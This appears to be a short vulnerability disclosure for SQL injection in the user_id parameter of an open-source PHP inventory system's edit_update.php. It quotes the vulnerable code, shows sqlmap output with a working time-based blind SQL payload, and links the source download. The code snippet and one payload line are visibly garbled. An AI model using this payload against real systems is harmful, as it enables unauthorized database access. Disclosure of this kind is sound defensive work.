SQL injection vulnerability exists in user_id parameter of app/action/edit_update.php file of inventory management system

Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users.

```
$user id = $ POST['user id'];
4
5
              $password = $ POST['password'];
 6
              $c password = $ POST['c password'];
7
8
             if (!empty($password)) {
9
                  if ($password == $c password) {
10
                     $password = md5($password);
11
12
                     $query = array(
13
                         'password' => $password
14
15
                     $res = $obj->update('user','id',$user id,$query);
16
                     if ($res) {
```

```
sqlmap identified the following injection point(s) with a total of 603 HTTP(s) requests:

——
Parameter: user_id (POST)

Type: time-based blind

Title: MySQL ≥ 5.0.12 time-based blind - Parameter replace

Payload: c_password=18password=18user_id=(CASE WHEN (8313=8313) THEN SLEEP(5) ELSE 8313 END)
```

Parameter: user_id (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 time-based blind - Parameter replace

Payload: c_password=1&password=1&user_id=(CASE WHEN (8313=8313) THEN SLEEP(5)

ELSE 8313 END)

Source Download:

https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html